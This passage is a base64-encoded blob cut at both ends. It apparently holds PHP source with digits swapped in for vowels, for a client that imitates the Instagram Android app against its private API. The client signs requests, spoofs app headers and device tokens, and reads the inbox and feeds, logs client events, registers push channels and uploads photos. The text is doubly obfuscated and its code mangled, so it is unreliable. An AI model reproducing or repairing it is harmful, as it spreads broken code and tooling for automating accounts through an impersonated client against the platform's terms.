CciLCJnMzRkIjoiJyAuICR0aDRzLT4zMzRkIC4gJyIsInByNWY0bGxfdHlwNSI6ImIydGgiLCJwayI6IjAiLCJyNWw1MXM1X2NoMW5uNWwiOiJiNXQxIiwicjFkNDJfdHlwNSI6Inc0ZjQtbjJuNSJ9fSx7Im4xbTUiOiI0Z18xY3Q0djVfNG50NXJ2MWwiLCJ0NG01IjoiJyAuICRUNG01SDFjayAuICcuYTg2IiwiNXh0cjEiOnsiNXY1bnRfdHlwNSI6IjNzNXJfczVzczQybl8zbmtuMnduIiwic3QxcnRfdDRtNSI6JyAuICRUNG01SDFjayAuICcsIjVuZF90NG01IjowLCJwayI6IjAiLCJyNWw1MXM1X2NoMW5uNWwiOiJiNXQxIiwicjFkNDJfdHlwNSI6Inc0ZjQtbjJuNSJ9fSx7Im4xbTUiOiJjMm5uNWN0NDJuX2NoMW5nNSIsInQ0bTUiOiInIC4gJFQ0bTVIMWNrIC4gJy5hODkiLCJtMmQzbDUiOiJkNXY0YzUiLCI1eHRyMSI6eyJzdDF0NSI6IkNPTk5FQ1RFRCIsImMybm41Y3Q0Mm4iOiJXSUZJIiwiYzJubjVjdDQybl9zM2J0eXA1IjoiIiwicGsiOiIwIiwicjVsNTFzNV9jaDFubjVsIjoiYjV0MSIsInIxZDQyX3R5cDUiOiJ3NGY0LW4ybjUifX1dLCJsMmdfdHlwNSI6ImNsNDVudF81djVudCJ9JzsNCg0KICAgICAgICAgICAgJHAyc3QgPSAibTVzczFnNT0iIC4gJGQxdDEgLiAiJmYycm0xdD1qczJuIjsNCg0KICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXEzNXN0KCdodHRwczovL2dyMXBoLjRuc3QxZ3IxbS5jMm0vbDJnZzRuZ19jbDQ1bnRfNXY1bnRzJywgJHAyc3QsIFRSVUUpWzZdOw0KDQogICAgICAgIH0NCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gZzV0QjIydHN0cjFwVXM1cnMoKSB7DQoNCiAgICAgICAgICAgICRzM3JmMWM1cyA9IFsNCiAgICAgICAgICAgICAgICAnYzI1ZmY0YzQ1bnRfZDRyNWN0X3I1YzRwNDVudHNfcjFuazRuZ192MXI0MW50X2EnLA0KICAgICAgICAgICAgICAgICdjMjVmZjRjNDVudF9kNHI1Y3RfcjVjNHA0NW50c19yMW5rNG5nJywNCiAgICAgICAgICAgICAgICAnYzI1ZmY0YzQ1bnRfNDJzX3M1Y3Q0Mm5fdDVzdF9iMjJ0c3RyMXBfcjFuazRuZycsDQogICAgICAgICAgICAgICAgJzEzdDJjMm1wbDV0NV8zczVyX2w0c3QnLA0KICAgICAgICAgICAgXTsNCg0KDQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gWw0KICAgICAgICAgICAgICAgICdzM3JmMWM1cycgPT4ganMybl81bmMyZDUoJHMzcmYxYzVzKQ0KICAgICAgICAgICAgXTsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBTNGduMXQzcjVzOjpzNGduRDF0MSgkcjVxMzVzdFAyc3RzKTsNCiAgICAgICAgICAgICRwMnN0RDF0MSAgICAgPSBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAyc3RzKSk7DQoNCiAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVxMzVzdCgnc2MycjVzL2IyMnRzdHIxcC8zczVycy8nLCAkcDJzdEQxdDEsIFRSVUUpWzZdOw0KDQogICAgICAgIH0NCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gcjVnNHN0NXJQM3NoQ2gxbm41bHMoKSB7DQoNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgJ2Q1djRjNV90eXA1JyAgICAgICAgICA9PiAiMW5kcjI0ZF9nY20iLA0KICAgICAgICAgICAgICAgICc0c19tMTRuX3Azc2hfY2gxbm41bCcgPT4gImYxbHM1IiwNCiAgICAgICAgICAgICAgICAncGgybjVfNGQnICAgICAgICAgICAgID0+ICR0aDRzLT5waDJuNV80ZCwNCiAgICAgICAgICAgICAgICAnZDV2NGM1X3QyazVuJyAgICAgICAgID0+ICcnLA0KICAgICAgICAgICAgICAgICdfY3NyZnQyazVuJyAgICAgICAgICAgPT4gJHRoNHMtPnQyazVuLA0KICAgICAgICAgICAgICAgICdnMzRkJyAgICAgICAgICAgICAgICAgPT4gJHRoNHMtPjMzNGQsDQogICAgICAgICAgICAgICAgJ18zMzRkJyAgICAgICAgICAgICAgICA9PiAkdGg0cy0+MzM0ZCwNCiAgICAgICAgICAgICAgICAnM3M1cnMnICAgICAgICAgICAgICAgID0+ICR0aDRzLT4xY2MyM250XzRkDQogICAgICAgICAgICBdOw0KDQogICAgICAgICAgICAkcDJzdEQxdDEgPSBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAyc3RzKSk7DQoNCiAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVxMzVzdCgncDNzaC9yNWc0c3Q1ci8nLCAkcDJzdEQxdDEsIFRSVUUpWzZdOw0KDQogICAgICAgIH0NCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gZzV0TDJnNG5SMW5rNWRSNWM0cDQ1bnRzKCRtMmQ1LCAkc2gyd1RocjUxZHMsICRxMzVyeSA9IE5VTEwpIHsNCg0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFsNCiAgICAgICAgICAgICAgICAnbTJkNScgICAgICAgICAgICAgID0+ICRtMmQ1LA0KICAgICAgICAgICAgICAgICdzaDJ3X3RocjUxZHMnICAgICAgPT4gJHNoMndUaHI1MWRzID8gJ3RyMzUnIDogJ2YxbHM1JywNCiAgICAgICAgICAgICAgICAnM3M1XzNuNGY0NWRfNG5iMngnID0+ICJ0cjM1Ig0KICAgICAgICAgICAgXTsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBTNGduMXQzcjVzOjpzNGduRDF0MSgkcjVxMzVzdFAyc3RzKTsNCiAgICAgICAgICAgICRwMnN0RDF0MSAgICAgPSBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAyc3RzKSk7DQoNCiAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVxMzVzdCgnZDRyNWN0X3ZhL3Ixbms1ZF9yNWM0cDQ1bnRzLycsICRwMnN0RDF0MSwgVFJVRSlbNl07DQoNCiAgICAgICAgfQ0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBnNXRJbmIyeCgpIHsNCg0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFsNCiAgICAgICAgICAgICAgICAndjRzMzFsX201c3MxZzVfcjV0M3JuX3R5cDUnID0+ICIzbnM1NW4iLA0KICAgICAgICAgICAgICAgICdwNXJzNHN0NW50QjFkZzRuZycgICAgICAgICAgPT4gInRyMzUiLA0KICAgICAgICAgICAgICAgICczczVfM240ZjQ1ZF80bmIyeCcgICAgICAgICAgPT4gInRyMzUiDQogICAgICAgICAgICBdOw0KDQogICAgICAgICAgICAkcDJzdEQxdDEgPSBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAyc3RzKSk7DQoNCiAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVxMzVzdCgnZDRyNWN0X3ZhLzRuYjJ4Lz8nLCAkcDJzdEQxdDEpWzZdOw0KDQogICAgICAgIH0NCg0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBnNXRFeHBsMnI1RjU1ZCgkbTF4SWQgPSBOVUxMLCAkNHNQcjVmNXRjaCA9IEZBTFNFKSB7DQoNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgJzRzX3ByNWY1dGNoJyAgICAgPT4gJDRzUHI1ZjV0Y2gsDQogICAgICAgICAgICAgICAgJzRzX2ZyMm1fcHIybTJ0NScgPT4gRkFMU0UsDQogICAgICAgICAgICAgICAgJ3Q0bTV6Mm41XzJmZnM1dCcgPT4gZDF0NSgnWicpLA0KICAgICAgICAgICAgICAgICdzNXNzNDJuXzRkJyAgICAgID0+IFM0Z24xdDNyNXM6Omc1bjVyMXQ1VVVJRChUUlVFKQ0KICAgICAgICAgICAgXTsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBTNGduMXQzcjVzOjpzNGduRDF0MSgkcjVxMzVzdFAyc3RzKTsNCiAgICAgICAgICAgICRwMnN0RDF0MSAgICAgPSBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAyc3RzKSk7DQoNCiAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVxMzVzdCgnZDRzYzJ2NXIvNXhwbDJyNS8nLCAkcDJzdEQxdDEsIFRSVUUpWzZdOw0KDQogICAgICAgIH0NCg0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBnNXRGMWM1YjIya09UQSgpIHsNCg0KICAgICAgICAgICAgJHI1cTM1c3RHNXRzID0gWw0KICAgICAgICAgICAgICAgICdmNDVsZHMnICAgICAgICAgICAgID0+IEMybnN0MW50czo6RkFDRUJPT0tfT1RBX0ZJRUxEUywNCiAgICAgICAgICAgICAgICAnYzNzdDJtXzNzNXJfNGQnICAgICA9PiAkdGg0cy0+MWNjMjNudF80ZCwNCiAgICAgICAgICAgICAgICAnczRnbjVkX2IyZHknICAgICAgICA9PiBTNGduMXQzcjVzOjpnNW41cjF0NVM0Z24xdDNyNSgnJykgLiAnLicsDQogICAgICAgICAgICAgICAgJzRnX3M0Z19rNXlfdjVyczQybicgPT4gQzJuc3QxbnRzOjpTSUdfS0VZX1ZFUlNJT04sDQogICAgICAgICAgICAgICAgJ3Y1cnM0Mm5fYzJkNScgICAgICAgPT4gQzJuc3QxbnRzOjpWRVJTSU9OX0NPREUsDQogICAgICAgICAgICAgICAgJ3Y1cnM0Mm5fbjFtNScgICAgICAgPT4gQzJuc3QxbnRzOjpJR19WRVJTSU9OLA0KICAgICAgICAgICAgICAgICdjM3N0Mm1fMXBwXzRkJyAgICAgID0+IEMybnN0MW50czo6RkFDRUJPT0tfT1JDQV9BUFBMSUNBVElPTl9JRCwNCiAgICAgICAgICAgICAgICAnYzNzdDJtX2Q1djRjNV80ZCcgICA9PiAkdGg0cy0+ZDV2NGM1XzRkDQogICAgICAgICAgICBdOw0KDQogICAgICAgICAgICAkcDJzdEQxdDEgPSBOVUxMOw0KDQogICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cTM1c3QoJ2YxYzViMjJrXzJ0MS8/JyAuIGh0dHBfYjM0bGRfcTM1cnkoJHI1cTM1c3RHNXRzKSwgJHAyc3REMXQxLCBUUlVFKVs2XTsNCg0KICAgICAgICB9DQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIGc1dFByNXM1bmM1U3QxdDNzKCkgew0KDQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gW107DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gUzRnbjF0M3I1czo6czRnbkQxdDEoJHI1cTM1c3RQMnN0cyk7DQogICAgICAgICAgICAkcDJzdEQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMnN0cykpOw0KDQogICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cTM1c3QoJzFjYzIzbnRzL2c1dF9wcjVzNW5jNV9kNHMxYmw1ZC8nLCAkcDJzdEQxdDEsIFRSVUUpWzZdOw0KDQogICAgICAgIH0NCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gRkJBY3Q0djR0eSgpIHsNCg0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFsNCiAgICAgICAgICAgICAgICAnY2gyNGM1JyAgICAgPT4gMCwNCiAgICAgICAgICAgICAgICAnX2NzcmZ0Mms1bicgPT4gJHRoNHMtPnQyazVuLA0KICAgICAgICAgICAgICAgICdnMzRkJyAgICAgICA9PiAkdGg0cy0+MzM0ZCwNCiAgICAgICAgICAgICAgICAnZDV2NGM1XzRkJyAgPT4gJHRoNHMtPmQ1djRjNV80ZA0KICAgICAgICAgICAgXTsNCg0KDQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gUzRnbjF0M3I1czo6czRnbkQxdDEoJHI1cTM1c3RQMnN0cyk7DQogICAgICAgICAgICAkcDJzdEQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMnN0cykpOw0KDQogICAgICAgICAgICAkdGg0cy0+cjVxMzVzdCgiaHR0cHM6Ly80LjRuc3QxZ3IxbS5jMm0vMXA0L3Y2IiAuICRsMmc0bls2XVsnY2gxbGw1bmc1J11bJzFwNF9wMXRoJ10sICRwMnN0RDF0MSwgRkFMU0UsIFRSVUUpOw0KDQogICAgICAgICAgICByNXQzcm4gVFJVRTsNCg0KICAgICAgICB9DQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIGc1dFFQRjV0Y2goKSB7DQoNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgInZjX3AybDRjeSIgICAgID0+ICJkNWYxM2x0IiwNCiAgICAgICAgICAgICAgICAiX2NzcmZ0Mms1biIgICAgPT4gJHRoNHMtPnQyazVuLA0KICAgICAgICAgICAgICAgICJfMzRkIiAgICAgICAgICA9PiAkdGg0cy0+MWNjMjNudF80ZCwNCiAgICAgICAgICAgICAgICAiXzMzNGQiICAgICAgICAgPT4gJHRoNHMtPjMzNGQsDQogICAgICAgICAgICAgICAgInMzcmYxYzVfcDFyMW0iID0+ICJ1NzZpIiwNCiAgICAgICAgICAgICAgICAidjVyczQybiIgICAgICAgPT4gNiwNCiAgICAgICAgICAgICAgICAic2MxbDUiICAgICAgICAgPT4gYSwNCiAgICAgICAgICAgICAgICAicTM1cnkiICAgICAgICAgPT4gJ3Y0NXc1cigpIHs1bDRnNGJsNV9wcjJtMnQ0Mm5zLnMzcmYxYzVfbjN4XzRkKDxzM3JmMWM1PikuNXh0NXJuMWxfZzF0NG5nX3A1cm00dHQ1ZF9xcHMoPDV4dDVybjFsX2cxdDRuZ19wNXJtNHR0NWRfcXBzPikuczNwcDJydHNfY2w0NW50X2Y0bHQ1cnModHIzNSkgezVkZzVzIHtwcjQycjR0eSx0NG01X3Ixbmc1IHtzdDFydCw1bmR9LG4yZDUgezRkLHByMm0ydDQybl80ZCxtMXhfNG1wcjVzczQybnMsdHI0Z2c1cnMsYzJudDV4dDMxbF9mNGx0NXJzIHtjbDEzczVfdHlwNSxmNGx0NXJzIHtmNGx0NXJfdHlwNSwzbmtuMnduXzFjdDQybix2MWwzNSB7bjFtNSxyNXEzNHI1ZCxiMjJsX3YxbDM1LDRudF92MWwzNSwgc3RyNG5nX3YxbDM1fSw1eHRyMV9kMXQxcyB7bjFtNSxyNXEzNHI1ZCxiMjJsX3YxbDM1LDRudF92MWwzNSwgc3RyNG5nX3YxbDM1fX0sY2wxM3M1cyB7Y2wxM3M1X3R5cDUsZjRsdDVycyB7ZjRsdDVyX3R5cDUsM25rbjJ3bl8xY3Q0Mm4sdjFsMzUge24xbTUscjVxMzRyNWQsYjIybF92MWwzNSw0bnRfdjFsMzUsIHN0cjRuZ192MWwzNX0sNXh0cjFfZDF0MXMge24xbTUscjVxMzRyNWQsYjIybF92MWwzNSw0bnRfdjFsMzUsIHN0cjRuZ192MWwzNX19LGNsMTNzNXMge2NsMTNzNV90eXA1LGY0bHQ1cnMge2Y0bHQ1cl90eXA1LDNua24yd25fMWN0NDJuLHYxbDM1IHtuMW01LHI1cTM0cjVkLGIyMmxfdjFsMzUsNG50X3YxbDM1LCBzdHI0bmdfdjFsMzV9LDV4dHIxX2QxdDFzIHtuMW01LHI1cTM0cjVkLGIyMmxfdjFsMzUsNG50X3YxbDM1LCBzdHI0bmdfdjFsMzV9fSxjbDEzczVzIHtjbDEzczVfdHlwNSxmNGx0NXJzIHtmNGx0NXJfdHlwNSwzbmtuMnduXzFjdDQybix2MWwzNSB7bjFtNSxyNXEzNHI1ZCxiMjJsX3YxbDM1LDRudF92MWwzNSwgc3RyNG5nX3YxbDM1fSw1eHRyMV9kMXQxcyB7bjFtNSxyNXEzNHI1ZCxiMjJsX3YxbDM1LDRudF92MWwzNSwgc3RyNG5nX3YxbDM1fX19fX19LHQ1bXBsMXQ1IHtuMW01LHAxcjFtNXQ1cnMge24xbTUscjVxMzRyNWQsYjIybF92MWwzNSxzdHI0bmdfdjFsMzUsYzJsMnJfdjFsMzUsfX0sY3I1MXQ0djVzIHt0NHRsNSB7dDV4dH0sYzJudDVudCB7dDV4dH0sZjIydDVyIHt0NXh0fSxzMmM0MWxfYzJudDV4dCB7dDV4dH0scHI0bTFyeV8xY3Q0Mm57dDR0bDUge3Q1eHR9LDNybCxsNG00dCxkNHNtNHNzX3ByMm0ydDQybn0sczVjMm5kMXJ5XzFjdDQybnt0NHRsNSB7dDV4dH0sM3JsLGw0bTR0LGQ0c200c3NfcHIybTJ0NDJufSxkNHNtNHNzXzFjdDQybnt0NHRsNSB7dDV4dH0sM3JsLGw0bTR0LGQ0c200c3NfcHIybTJ0NDJufSw0bTFnNS5zYzFsNSg8c2MxbDU+KSB7M3I0LHc0ZHRoLGg1NGdodH19fX19fScsDQogICAgICAgICAgICBdOw0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFM0Z24xdDNyNXM6OnM0Z25EMXQxKCRyNXEzNXN0UDJzdHMpOw0KICAgICAgICAgICAgJHAyc3REMXQxICAgICA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDJzdHMpKTsNCg0KICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXEzNXN0KCdxcC9mNXRjaC8nLCAkcDJzdEQxdDEsIFRSVUUpWzZdOw0KDQogICAgICAgIH0NCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gZzV0UHIyZjRsNU4ydDRjNSgpIHsNCg0KICAgICAgICAgICAgJHAyc3REMXQxID0gTlVMTDsNCg0KICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXEzNXN0KCczczVycy9wcjJmNGw1X24ydDRjNS8nLCAkcDJzdEQxdDEsIFRSVUUpWzZdOw0KDQogICAgICAgIH0NCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gZzV0UjVjNW50QWN0NHY0dHlJbmIyeCgpIHsNCg0KICAgICAgICAgICAgJHAyc3REMXQxID0gTlVMTDsNCg0KICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXEzNXN0KCduNXdzLzRuYjJ4LycsICRwMnN0RDF0MSwgVFJVRSlbNl07DQoNCiAgICAgICAgfQ0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBnNXRCbDJjazVkTTVkNDEoKSB7DQoNCiAgICAgICAgICAgICRwMnN0RDF0MSA9IE5VTEw7DQoNCiAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVxMzVzdCgnbTVkNDEvYmwyY2s1ZC8nLCAkcDJzdEQxdDEsIFRSVUUpWzZdOw0KDQogICAgICAgIH0NCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gZzV0VjRzMzFsSW5iMngoKSB7DQogICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cTM1c3QoJ2Q0cjVjdF92YS92NHMzMWxfNG5iMngvJylbNl07DQogICAgICAgIH0NCg0KICAgICAgICBwcjJ0NWN0NWQgZjNuY3Q0Mm4gZzV0QTN0MkMybXBsNXQ1VXM1ckw0c3QoKSB7DQogICAgICAgICAgICAkcjVxMzVzdFAxcjFtcyA9IFsidjVyczQybiIgPT4gImEiXTsNCiAgICAgICAgICAgICRwMXIxbUQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMXIxbXMpKTsNCg0KICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXEzNXN0KCdmcjQ1bmRzaDRwcy8xM3QyYzJtcGw1dDVfM3M1cl9sNHN0Lz8nIC4gJHAxcjFtRDF0MSlbNl07DQogICAgICAgIH0NCg0KICAgICAgICBwcjJ0NWN0NWQgZjNuY3Q0Mm4gZzV0TTVnMXBoMm41TDJnKCkgew0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFsNCiAgICAgICAgICAgICAgICAndHlwNScgICAgICAgPT4gJ2Y1NWRfMXlzZicsDQogICAgICAgICAgICAgICAgJzFjdDQybicgICAgID0+ICdzNTVuJywNCiAgICAgICAgICAgICAgICAncjUxczJuJyAgICAgPT4gJycsDQogICAgICAgICAgICAgICAgJ18zMzRkJyAgICAgID0+ICR0aDRzLT4zMzRkLA0KICAgICAgICAgICAgICAgICdkNXY0YzVfNGQnICA9PiAkdGg0cy0+ZDV2NGM1XzRkLA0KICAgICAgICAgICAgICAgICdfY3NyZnQyazVuJyA9PiAkdGg0cy0+dDJrNW4sDQogICAgICAgICAgICAgICAgJzMzNGQnICAgICAgID0+IG1kaSh0NG01KCkpDQogICAgICAgICAgICBdOw0KICAgICAgICAgICAgJHAyc3REMXQxICAgICA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDJzdHMpKTsNCg0KICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXEzNXN0KCdtNWcxcGgybjUvbDJnLycsICRwMnN0RDF0MSlbNl07DQogICAgICAgIH0NCg0KICAgICAgICBwcjJ0NWN0NWQgZjNuY3Q0Mm4gNXhwMnM1KCkgew0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFsNCiAgICAgICAgICAgICAgICAnXzMzNGQnICAgICAgPT4gJHRoNHMtPjMzNGQsDQogICAgICAgICAgICAgICAgJ18zNGQnICAgICAgID0+ICR0aDRzLT4xY2MyM250XzRkLA0KICAgICAgICAgICAgICAgICc0ZCcgICAgICAgICA9PiAkdGg0cy0+MWNjMjNudF80ZCwNCiAgICAgICAgICAgICAgICAnX2NzcmZ0Mms1bicgPT4gJHRoNHMtPnQyazVuLA0KICAgICAgICAgICAgICAgICc1eHA1cjRtNW50JyA9PiAnNGdfMW5kcjI0ZF9wcjJmNGw1X2MybnQ1eHQzMWxfZjU1ZCcNCiAgICAgICAgICAgIF07DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gUzRnbjF0M3I1czo6czRnbkQxdDEoJHI1cTM1c3RQMnN0cyk7DQogICAgICAgICAgICAkcDJzdEQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMnN0cykpOw0KDQogICAgICAgICAgICAkdGg0cy0+cjVxMzVzdCgncTUvNXhwMnM1LycsICRwMnN0RDF0MSlbNl07DQogICAgICAgIH0NCg0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiAzcGwyMWRQaDJ0MigkcGgydDIsICRjMXB0NDJuID0gTlVMTCkgew0KICAgICAgICAgICAgJDVuZHAyNG50ID0gQzJuc3QxbnRzOjpBUElfVVJMIC4gJzNwbDIxZC9waDJ0Mi8nOw0KICAgICAgICAgICAgJGIyM25kMXJ5ID0gVXQ0bHM6Omc1bjVyMXQ1TTNsdDRwMXJ0QjIzbmQxcnkoKTsNCg0KICAgICAgICAgICAgJDNwbDIxZF80ZCAgICA9IFV0NGxzOjpnNW41cjF0NVVwbDIxZElkKCk7DQogICAgICAgICAgICAkZjRsNVQyVXBsMjFkID0gZjRsNV9nNXRfYzJudDVudHMoJHBoMnQyKTsNCg0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFsNCiAgICAgICAgICAgICAgICAiM3BsMjFkXzRkIiAgICAgICAgID0+ICQzcGwyMWRfNGQsDQogICAgICAgICAgICAgICAgIl8zMzRkIiAgICAgICAgICAgICA9PiAkdGg0cy0+MzM0ZCwNCiAgICAgICAgICAgICAgICAiX2NzcmZ0Mms1biIgICAgICAgID0+ICR0aDRzLT50Mms1biwNCiAgICAgICAgICAgICAgICAiNG0xZzVfYzJtcHI1c3M0Mm4iID0+ICd7Imw0Yl9uMW01IjoianQiLCJsNGJfdjVyczQybiI6IjYuby4wIiwicTMxbDR0eSI6Ijg3In0nDQogICAgICAgICAgICBdOw0KDQogICAgICAgICAgICAkcjVxMzVzdEY0bDVzID0gWw0KICAgICAgICAgICAgICAgICJwaDJ0MiIgPT4gWw0KICAgICAgICAgICAgICAgICAgICAiYzJudDVudHMiID0+ICRmNGw1VDJVcGwyMWQsDQogICAgICAgICAgICAgICAgICAgICJmNGw1bjFtNSIgPT4gJ3A1bmQ0bmdfbTVkNDFfJyAuIFV0NGxzOjpnNW41cjF0NVVwbDIxZElkKCkgLiAnLmpwZycsDQogICAgICAgICAgICAgICAgICAgICJoNTFkNXJzIiAgPT4gWw0KICAgICAgICAgICAgICAgICAgICAgICAgJ0MybnQ1bnQtdHlwNTogMXBwbDRjMXQ0Mm4vMmN0NXQtc3RyNTFtJywNCiAgICAgICAgICAgICAgICAgICAgICAgICdDMm50NW50LVRyMW5zZjVyLUVuYzJkNG5nOiBiNG4xcnknDQogICAgICAgICAgICAgICAgICAgIF0NCiAgICAgICAgICAgICAgICBdDQogICAgICAgICAgICBdOw0KDQogICAgICAgICAgICAkNG5kNXggID0gVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KDFycjF5X201cmc1KCRyNXEzNXN0UDJzdHMsICRyNXEzNXN0RjRsNXMpKTsNCiAgICAgICAgICAgICRyNXMzbHQgPSAnJzsNCiAgICAgICAgICAgIGYycjUxY2goJDRuZDV4IDFzICRrNXkgPT4gJHYxbDM1KSB7DQogICAgICAgICAgICAgICAgJHI1czNsdCAuPSAnLS0nIC4gJGIyM25kMXJ5IC4gIlxyXG4iOw0KICAgICAgICAgICAgICAgIDRmKCE0c3M1dCgkcjVxMzVzdEY0bDVzWyRrNXldKSkgew0KICAgICAgICAgICAgICAgICAgICAkcjVzM2x0IC49ICdDMm50NW50LUQ0c3AyczR0NDJuOiBmMnJtLWQxdDE7IG4xbTU9IicgLiAkazV5IC4gJyInOw0KICAgICAgICAgICAgICAgICAgICAkcjVzM2x0IC49ICJcclxuXHJcbiIgLiAkdjFsMzUgLiAiXHJcbiI7DQogICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgJGY0bDUgPSAkcjVxMzVzdEY0bDVzWyRrNXldOw0KICAgICAgICAgICAgICAgICAgICA0Zig0c3M1dCgkZjRsNVsnYzJudDVudHMnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjMm50NW50cyA9ICRmNGw1WydjMm50NW50cyddOw0KICAgICAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGMybnQ1bnRzID0gZjRsNV9nNXRfYzJudDVudHMoJGY0bDVbJ2Y0bDVwMXRoJ10pOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICRyNXMzbHQgLj0gJ0MybnQ1bnQtRDRzcDJzNHQ0Mm46IGYycm0tZDF0MTsgbjFtNT0iJyAuICRrNXkgLiAnIjsgZjRsNW4xbTU9IicgLiAkZjRsNVsnZjRsNW4xbTUnXSAuICJcIlxyXG4iOw0KICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCRmNGw1WydoNTFkNXJzJ10gMXMgJGg1MWQ1ck4xbTUgPT4gJGg1MWQ1clYxbDM1KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcjVzM2x0IC49ICRoNTFkNXJOMW01IC4gJzogJyAuICRoNTFkNXJWMWwzNSAuICJcclxuIjsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAkcjVzM2x0IC49ICJcclxuIiAuICRjMm50NW50cyAuICJcclxuIjsNCiAgICAgICAgICAgICAgICAgICAgM25zNXQoJGMybnQ1bnRzKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkcjVzM2x0ICAgLj0gJy0tJyAuICRiMjNuZDFyeSAuICctLSc7DQogICAgICAgICAgICAkcDJzdEQxdDEgPSAkcjVzM2x0Ow0KDQogICAgICAgICAgICAkaDUxZDVycyA9IFsNCiAgICAgICAgICAgICAgICAnQzJubjVjdDQybjogY2wyczUnLA0KICAgICAgICAgICAgICAgICdBY2M1cHQ6ICovKicsDQogICAgICAgICAgICAgICAgJ1gtSUctQzFwMWI0bDR0NDVzOiAnIC4gQzJuc3QxbnRzOjpYX0lHX0MxcDFiNGw0dDQ1cywNCiAgICAgICAgICAgICAgICAnWC1JRy1BcHAtSUQ6ICcgLiBDMm5zdDFudHM6OkZBQ0VCT09LX0FOQUxZVElDU19BUFBMSUNBVElPTl9JRCwNCiAgICAgICAgICAgICAgICAnWC1JRy1DMm5uNWN0NDJuLVR5cDU6ICcgLiBDMm5zdDFudHM6OlhfSUdfQzJubjVjdDQybl9UeXA1LA0KICAgICAgICAgICAgICAgICdYLUlHLUMybm41Y3Q0Mm4tU3A1NWQ6ICcgLiBtdF9yMW5kK